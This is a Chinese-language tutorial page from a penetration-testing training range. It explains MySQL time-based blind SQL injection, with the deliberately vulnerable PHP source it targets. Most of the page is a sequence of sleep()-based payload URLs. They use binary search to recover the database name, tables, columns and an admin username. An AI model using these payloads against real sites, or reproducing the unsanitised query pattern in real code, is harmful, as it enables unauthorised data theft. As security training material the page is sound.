MYSQL 延时注入 实例演示 答案解析
以下信息调试输出,帮助您理解SQL注入,正常网站不显示
select * from admins where id = '1'
用户名 邮箱
必火网络安全 admin@bihuo.cn

什么是SQL注入
- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
1,是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
2,这些参数传递给后台的SQL数据库服务器加以解析并执行

SQL注入分类
-- 按数据类型分类,
1,分为 整形注入 整型注入 (不需要闭合,大多数不需要注释符号)
2,字符串类型注入 (需要闭合,或者需要注释)

-- 按注入语法分类,
1,UNION query SQL injection(可联合查询注入)
2,Error-based SQL injection(报错型注入)
3,Boolean-based blind SQL injection(布尔型注入)
4,Time-based blind SQL injection(基于时间延迟注入)
5,Stacked queries SQL injection(可多语句查询注入)
http://www.nanhack.com/payload/sql/char.php?id=1' and 1=1--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1' and 1=2--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1 and 1=1--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1 and 1=2--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1' and sleep(5)--+ 页面沉睡5秒后返回,证明是延时注入
说明后台sql语句再接受id这个参数的时候,直接把sleep(5)也带进入数据库执行了。
# 程序源码如下:
$id = $_GET['id'];
$sql = "select * from admins where id = '$id'";
#所以加上 ' and sleep(5) 语句就变为:
select * from admins where id = '1' and sleep(5) --+' # 执行查询就直接沉睡5秒了
根据以上内容确定,本页面注入类型为字符型注入的延时注入。
延时注入和布尔型注入类似,都没有显示位。而且延时注入也不能根据页面的变化来判断,只能根据页面的返回时间来判断
这里用到的函数有ascii(),substr(),if()函数
ascii( )函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
substr( ) 函数: substr(string, num start, num length) string 为字符串; start为起始位置;1。length为长度。
if函数:if(A,B,C);如果A为真,则执行B,否则执行C

获取数据库名字长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length(database())>0,sleep(5),1) --+ #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length(database())>7,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length(database())=7,sleep(5),1) --+ #网页等待

#得到数据库名字长度是7

获取数据库名字
# 使用二分法判断,取ascii表 32和127的中间值 79来做判断
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),1,1))>79,sleep(5),1) --+ #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),1,1))>110,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),1,1))=110,sleep(5),1) --+ #网页等待
#得到数据库名字的第一个字符ascii值是110,查看如下表格
ascii码表 # 发现 110 是字母n 继续第二个字母 http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),2,1))>79,sleep(5),1) --+ #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),2,1))>97,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),2,1))=97,sleep(5),1) --+ #网页等待
#得到数据库名字的第二个字符ascii值是97,查看如下表格
# 查表得到97是字母a
# 依次类推,得到数据库名字是:nanhack

获取数据库nanhack中表的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and if((select count(*) from information_schema.tables where table_schema = database())>0,sleep(5),1) --+ #网页等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if((select count(*) from information_schema.tables where table_schema = database())>8,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if((select count(*) from information_schema.tables where table_schema = database())=8,sleep(5),1) --+ #网页等待
# 得到 表的数量为 8

获取 数据库 nanhack 中的第一个表的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))>0,sleep(5),1) --+ #网页等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))>10,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=10,sleep(5),1) --+ #网页等待
# 得到 表名的长度是10

获取 数据库 nanhack 中的第一个表的名字
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>79,sleep(5),1) -- ' #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>97,sleep(5),1) -- ' #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=97,sleep(5),1) -- ' #网页等待
# 得到 表名的第一个字符的ascii值是 97 ,查表得到a
开始确定第二个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))>79,sleep(5),1) -- ' #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))>100,sleep(5),1) -- ' #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=100,sleep(5),1) -- ' #网页等待
# 得到 表名的第一个字符的ascii值是 100 ,查表得到d
# 依次类推得到表名 是 admin_logs
# 依次类推在查询第二个表、第三个表,最终找到表名为admins表

获取 数据库 nanhack 中表 admins 中列的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>0 --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>8 --+ --+ 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')=8 --+ 网页等待
# 得到表 admins 列的数量是 8

获取 表 admins 第一个列的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>0,sleep(5),1) --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>2,sleep(5),1) --+ # 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))=2,sleep(5),1) --+ # 网页等待
# 得到表 admins 第一个列的长度是 2

获取 表 admins 第一个列的字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>79,sleep(5),1) --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>105,sleep(5),1) --+ # 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))=105,sleep(5),1) --+ # 网页等待
# 得到表 admins 第一个列的第一个字符的ascii值是105,查表得到字母i
依次类推得到 第一个列是id
用同样方法得到其他的列:username,userpwd 等

获取 表 admins 第一条 username 数据的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select username from admins limit 0,1))>0,sleep(5),1)--+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select username from admins limit 0,1))>18,sleep(5),1)--+ # 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select username from admins limit 0,1))=18,sleep(5),1)--+ # 网页等待
# 得到表 admins 第一个列的第一条数据字符长度是18(注意:有可能是中文,一个中文长度为3,所以这里有可能是6个中文)

获取 表 admins 第一条 username 数据的第一个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select username from admins limit 0,1),1,1))>0,sleep(5),1) --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select username from admins limit 0,1),1,1))>79,sleep(5),1) --+ # 网页等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select username from admins limit 0,1),1,1))>127,sleep(5),1) --+ # 网页等待
# ascii值大于127 还正常,说明此字符有可能是中文。 则先把中文转成hex,转成hex后总字符长度是36. http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),1,1))>79,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),1,1))>69,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),1,1))=69,sleep(5),1) --+ 页面等待
# 得到表 admins 第一个列的第一条数据第一个字符的HEX第一个字符的ascii值是69,查表得到 E
# 查询第二个字符 http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),2,1))>79,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),2,1))>53,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),2,1))=53,sleep(5),1) --+ 页面等待
# 得到表 admins 第一个列的第一条数据第二个字符的HEX第一个字符的ascii值是53,查表得到 5
依次类推,最终确定所有字符是:E5BF85E781ABE7BD91E7BB9CE5AE89E585A8
使用工具解码(http://stool.chinaz.com/hex)得到六个字符为:必火网络安全
延时型注入解析到此为止,数据不是中文那就容易多了,如果有不懂的地方可以加页面底部的QQ群。或者直达 www.ctf8.com论坛提问
渗透测试靶场,如有疏漏之处,请加微信:bihuoedu
© Copyright 2021 版权所有(一极教育科技有限公司)   津公网安备 12011602000477号 津ICP备17008032号-2  
本站一切信息皆遵守中华人民共和国法律,如发现任何不良信息,请拨打电话:18622800700
网络安全培训、企业合作、院校合作: 15320004362(手机同微信)